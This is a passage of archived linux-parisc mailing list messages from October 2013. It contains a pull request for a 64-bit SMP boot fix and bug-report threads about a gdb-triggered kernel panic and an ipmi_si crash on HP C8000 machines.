 CPmTa/YdwqyPHN2JYQNtT/Mll4UJPbtXyyV83U0XCgLkiN7sH6CsinJzXgnfqAdHjDjF/3V
 8jT7SipyjxvkQnXQinVCA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5415 gmane.linux.kernel:1585479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5415>

Hi Linus,

Please pull the one important fix for the parisc architecture from

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.12

This is a 2-line patch to save the CPU register which holds our task thread
info pointer before calling a firmware function and then to restore it again
afterwards. This is necessary because on some 64bit machines the high-order
32bits are being clobbered by the firmware call, and thus we failed to bring up
secondary CPUs (and instead crashed the kernel) in some situations e.g. if we
had more than 4GB RAM.  This patch fixes a bug which has been since ever in the
parisc linux kernel and which prevented some people to use a 64bit kernel.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: Do not crash 64bit SMP kernels on machines with >= 4GB RAM

 arch/parisc/kernel/head.S | 4 ++++
 1 file changed, 4 insertions(+)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Reproducible kernel panic using gdb
Date: Mon, 28 Oct 2013 10:00:04 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <650fc503e24cdb24b5cc286aec329df6@tuxicoman.be>
References: <b6f8076c32d0859e4ddb328bb7aca076@tuxicoman.be>
 <trinity-f177b623-5ca9-4417-a689-b0f8676e3fb5-1382711499524@3capp-gmx-bs08>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382950815 18950 80.91.229.3 (28 Oct 2013 09:00:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Oct 2013 09:00:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 28 10:00:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VaigM-0004wm-S1
	for glpp-linux-parisc@plane.gmane.org; Mon, 28 Oct 2013 10:00:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752045Ab3J1JAR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Oct 2013 05:00:17 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:55221 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751867Ab3J1JAR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Oct 2013 05:00:17 -0400
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8446.vo.lu [85.93.199.254]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Mon, 28 Oct 2013 10:00:03 +0100
Original-Received: from cartman.lux.tuxicoman.be ([172.18.0.2] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1Vaig8-0006qe-Dv; Mon, 28 Oct 2013 10:00:04 +0100
In-Reply-To: <trinity-f177b623-5ca9-4417-a689-b0f8676e3fb5-1382711499524@3capp-gmx-bs08>
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5416
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5416>


Hi Helge,

> 
> Works without crash for me on 3.12-rc6 ?
> Linux ls3011 3.12.0-rc6-64bit+
> 
> Since you run 3.10.6, maybe updating the kernel might help.
> Esp. this patch, which has been backported to kernel 3.10 (and is in 
> 3.10.17):
> http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?h=linux-3.10.y&id=77587e89405f5d8225a0e750df254bcc2dcb73e1

Still the same problem with 3.12-rc6 here :

Output from the kernel :

terminator ~ # dmesg -n 8
terminator ~ # Backtrace:


Bad Address (null pointer deref?): Code=6 regs=000000007f41d3b0 
(Addr=0000000000000000)
CPU: 0 PID: 1536 Comm: gdb-crash Not tainted 3.12.0-rc6 #1
task: 000000007f41d038 ti: 000000413eb00000 task.ti: 000000413eb00000

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111000001111 Not tainted
r00-03  000000ff0006fe0f 0000000000000000 0000000000000000 
00000000faf02300
r04-07  0000000040a53b30 0000000000000000 00000000000c8e98 
00000000000c7a80
r08-11  00000000000c8e70 00000000000c8e70 000000000000006c 
0000000000000061
r12-15  00000000000c3100 0000000000000000 00000000000bf100 
00000000000c0900
r16-19  0000000000000000 00000000000c0900 000000000009f000 
0000000000000000
r20-23  0000000000010638 0000000000000000 0000000000010638 
0000000040a511b8
r24-27  00000000faf02034 00000000faf0202c 0000000000000000 
00000000000110e4
r28-31  00000000faf0230c 0000000000000001 0000000000000000 
0000000040403327
sr00-03  00000000002fc800 00000000002fc800 0000000000000000 
00000000002fc800
sr04-07  00000000002fc800 00000000002fc800 00000000002fc800 
00000000002fc800

IASQ: 00000000002fc800 00000000002fc800 IAOQ: 0000000000000000 
0000000000000004
  IIR: 43ffff80    ISR: 0000000010250000  IOR: 000003f7a5b02308
  CPU:        0   CR30: 000000413eb00000 CR31: fe1eec3fc1ecdbed
  ORIG_R28: 0000000000000000
  IAOQ[0]:           (null)
  IAOQ[1]: 0x4
  RP(r2):           (null)
Backtrace:

Kernel panic - not syncing: Bad Address (null pointer deref?)
Rebooting in 5 seconds..



Output from gdb :
(gdb) break gdb-crash.c:24
Breakpoint 1 at 0x10660: file gdb-crash.c, line 24.
(gdb) run
Starting program: /root/gdb-crash

Breakpoint 1, main () at gdb-crash.c:25
25              printf("Test is %u, %u\n", tv.a, tv.b);
(gdb) set tp = { 0,0}



Regards,
   Guy


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: ipmi_si kills C8000
Date: Mon, 28 Oct 2013 11:56:12 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20131028105612.GB19852@alpha.franken.de>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
 <20131026191720.5282c0c3@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1382958462 8086 80.91.229.3 (28 Oct 2013 11:07:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Oct 2013 11:07:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Rolf Eike Beer <eike@sf-mail.de>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 28 12:07:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VakfY-00014w-Qq
	for glpp-linux-parisc@plane.gmane.org; Mon, 28 Oct 2013 12:07:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755989Ab3J1LHg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Oct 2013 07:07:36 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:53608 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755383Ab3J1LHg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Oct 2013 07:07:36 -0400
X-Greylist: delayed 330 seconds by postgrey-1.27 at vger.kernel.org; Mon, 28 Oct 2013 07:07:35 EDT
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1VakaC-0006Yx-01; Mon, 28 Oct 2013 12:02:04 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id E210B1D35C; Mon, 28 Oct 2013 11:56:12 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20131026191720.5282c0c3@marga.jer-c2.orkz.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5417
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5417>

On Sat, Oct 26, 2013 at 07:17:20PM +0200, Jeroen Roovers wrote:
> > I did "modprobe ipmi_si" on my C8000 (kernel 3.11.6), which
> > immediately broke the machine. I have no backtrace yet, but I'll try
> > to get one next week. In case someone has such a machine and the mood
> > to debug this already??? ;)
> 
> [  730.964000] ipmi message handler version 39.2
> [  731.092000] IPMI System Interface driver.
> [  731.148000] ipmi_si: Adding default-specified kcs state
> machine[  731.224000] ipmi_si: Trying default-specified kcs state
> machine at i/o address 0xca2, slave address 0x0, irq 0 <Cpu0>

looks like stupid ISA auto probing is turned on, when ipmi is loaded
as a module :-( I'll have a look.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Reproducible kernel panic using gdb
Date: Mon, 28 Oct 2013 07:30:55 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <1382970655.2161.2.camel@dabdike.int.hansenpartnership.com>
References: <b6f8076c32d0859e4ddb328bb7aca076@tuxicoman.be>
	 <trinity-f177b623-5ca9-4417-a689-b0f8676e3fb5-1382711499524@3capp-gmx-bs08>
	 <650fc503e24cdb24b5cc286aec329df6@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382970659 27759 80.91.229.3 (28 Oct 2013 14:30:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Oct 2013 14:30:59 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 28 15:31:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VanqM-0005VM-W4
	for glpp-linux-parisc@plane.gmane.org; Mon, 28 Oct 2013 15:30:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756433Ab3J1Oa6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Oct 2013 10:30:58 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59309 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756004Ab3J1Oa5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Oct 2013 10:30:57 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2BDEC8EE0C9;
	Mon, 28 Oct 2013 07:30:57 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id bJZWjsGW3V5i; Mon, 28 Oct 2013 07:30:57 -0700 (PDT)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9808E8EE07E;
	Mon, 28 Oct 2013 07:30:56 -0700 (PDT)
In-Reply-To: <650fc503e24cdb24b5cc286aec329df6@tuxicoman.be>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5418
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5418>

On Mon, 2013-10-28 at 10:00 +0100, Guy Martin wrote:
> Hi Helge,
> 
> > 
> > Works without crash for me on 3.12-rc6 ?
> > Linux ls3011 3.12.0-rc6-64bit+
> > 
> > Since you run 3.10.6, maybe updating the kernel might help.
> > Esp. this patch, which has been backported to kernel 3.10 (and is in 
> > 3.10.17):
> > http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?h=linux-3.10.y&id=77587e89405f5d8225a0e750df254bcc2dcb73e1
> 
> Still the same problem with 3.12-rc6 here :

What system and CPU?

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Reproducible kernel panic using gdb
Date: Mon, 28 Oct 2013 16:08:18 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <2125d8be63f7f5801abba4e67182d2e7@sf-mail.de>
References: <b6f8076c32d0859e4ddb328bb7aca076@tuxicoman.be>
 <trinity-f177b623-5ca9-4417-a689-b0f8676e3fb5-1382711499524@3capp-gmx-bs08>
 <650fc503e24cdb24b5cc286aec329df6@tuxicoman.be>
 <1382970655.2161.2.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382972907 24534 80.91.229.3 (28 Oct 2013 15:08:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Oct 2013 15:08:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 28 16:08:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VaoQh-0006UH-FF
	for glpp-linux-parisc@plane.gmane.org; Mon, 28 Oct 2013 16:08:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756708Ab3J1PIY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Oct 2013 11:08:24 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:34297 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756700Ab3J1PIW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Oct 2013 11:08:22 -0400
Original-Received: (qmail 7758 invoked from network); 28 Oct 2013 15:08:19 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:59563 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 28 Oct 2013 16:08:19 +0100
In-Reply-To: <1382970655.2161.2.camel@dabdike.int.hansenpartnership.com>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.9.3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5419
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5419>

James Bottomley: wrote
> On Mon, 2013-10-28 at 10:00 +0100, Guy Martin wrote:
>> Hi Helge,
>> 
>> >
>> > Works without crash for me on 3.12-rc6 ?
>> > Linux ls3011 3.12.0-rc6-64bit+
>> >
>> > Since you run 3.10.6, maybe updating the kernel might help.
>> > Esp. this patch, which has been backported to kernel 3.10 (and is in
>> > 3.10.17):
>> > http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?h=linux-3.10.y&id=77587e89405f5d8225a0e750df254bcc2dcb73e1
>> 
>> Still the same problem with 3.12-rc6 here :
> 
> What system and CPU?

C8000

Eike (acting as IRC2Mail gateway)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Reproducible kernel panic using gdb
Date: Mon, 28 Oct 2013 22:06:03 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <1383023163.19537.3.camel@dabdike.int.hansenpartnership.com>
References: <b6f8076c32d0859e4ddb328bb7aca076@tuxicoman.be>
	 <trinity-f177b623-5ca9-4417-a689-b0f8676e3fb5-1382711499524@3capp-gmx-bs08>
	 <650fc503e24cdb24b5cc286aec329df6@tuxicoman.be>
	 <1382970655.2161.2.camel@dabdike.int.hansenpartnership.com>
	 <2125d8be63f7f5801abba4e67182d2e7@sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383023172 22404 80.91.229.3 (29 Oct 2013 05:06:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 05:06:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 06:06:14 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vb1VL-0002bM-SX
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 06:06:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751445Ab3J2FGK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 01:06:10 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33033 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750719Ab3J2FGF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 01:06:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 03A688EE0C9;
	Mon, 28 Oct 2013 22:06:05 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id GzZINvmE1vOA; Mon, 28 Oct 2013 22:06:04 -0700 (PDT)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 979C68EE07E;
	Mon, 28 Oct 2013 22:06:04 -0700 (PDT)
In-Reply-To: <2125d8be63f7f5801abba4e67182d2e7@sf-mail.de>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5420
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5420>


On Mon, 2013-10-28 at 16:08 +0100, Rolf Eike Beer wrote:
> James Bottomley: wrote
> > On Mon, 2013-10-28 at 10:00 +0100, Guy Martin wrote:
> >> Hi Helge,
> >> 
> >> >
> >> > Works without crash for me on 3.12-rc6 ?
> >> > Linux ls3011 3.12.0-rc6-64bit+
> >> >
> >> > Since you run 3.10.6, maybe updating the kernel might help.
> >> > Esp. this patch, which has been backported to kernel 3.10 (and is in
> >> > 3.10.17):
> >> > http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?h=linux-3.10.y&id=77587e89405f5d8225a0e750df254bcc2dcb73e1
> >> 
> >> Still the same problem with 3.12-rc6 here :
> > 
> > What system and CPU?
> 
> C8000

I tried this on a rp3440  (pa8800) and I can't reproduce.  I think it
might be something about the way the kernel is compiled.  The (null)
values for rp2 and IOAQ[0] look suspicious.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: ipmi_si kills C8000
Date: Tue, 29 Oct 2013 10:37:06 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20131029093706.GA6255@alpha.franken.de>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
 <20131026191720.5282c0c3@marga.jer-c2.orkz.net>
 <20131028105612.GB19852@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383039493 26558 80.91.229.3 (29 Oct 2013 09:38:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 09:38:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Rolf Eike Beer <eike@sf-mail.de>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 10:38:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vb5ke-0006Sr-6Z
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 10:38:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751889Ab3J2JiP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 05:38:15 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:58415 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751310Ab3J2JiP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 05:38:15 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1Vb5kb-0005wt-00; Tue, 29 Oct 2013 10:38:13 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 378851C970D; Tue, 29 Oct 2013 10:37:06 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20131028105612.GB19852@alpha.franken.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5421
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5421>

On Mon, Oct 28, 2013 at 11:56:12AM +0100, Thomas Bogendoerfer wrote:
> On Sat, Oct 26, 2013 at 07:17:20PM +0200, Jeroen Roovers wrote:
> > > I did "modprobe ipmi_si" on my C8000 (kernel 3.11.6), which
> > > immediately broke the machine. I have no backtrace yet, but I'll try
> > > to get one next week. In case someone has such a machine and the mood
> > > to debug this already??? ;)
> > 
> > [  730.964000] ipmi message handler version 39.2
> > [  731.092000] IPMI System Interface driver.
> > [  731.148000] ipmi_si: Adding default-specified kcs state
> > machine[  731.224000] ipmi_si: Trying default-specified kcs state
> > machine at i/o address 0xca2, slave address 0x0, irq 0 <Cpu0>
> 
> looks like stupid ISA auto probing is turned on, when ipmi is loaded
> as a module :-( I'll have a look.

my patch went into 3.12-rc1 so it's expected that 3.11.6 crashes without it.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: =?UTF-8?Q?ipmi=5Fsi=20kills=20C=38=30=30=30?=
Date: Tue, 29 Oct 2013 11:41:08 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <236d3862441c13623a9fde73e6988591@sf-mail.de>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
 <20131026191720.5282c0c3@marga.jer-c2.orkz.net>
 <20131028105612.GB19852@alpha.franken.de>
 <20131029093706.GA6255@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383043274 7352 80.91.229.3 (29 Oct 2013 10:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Oct 2013 10:41:14 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 29 11:41:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vb6je-0002Ha-QP
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Oct 2013 11:41:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754512Ab3J2KlN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Oct 2013 06:41:13 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:50699 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753617Ab3J2KlL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Oct 2013 06:41:11 -0400
Original-Received: (qmail 8328 invoked from network); 29 Oct 2013 10:41:08 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:56396 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
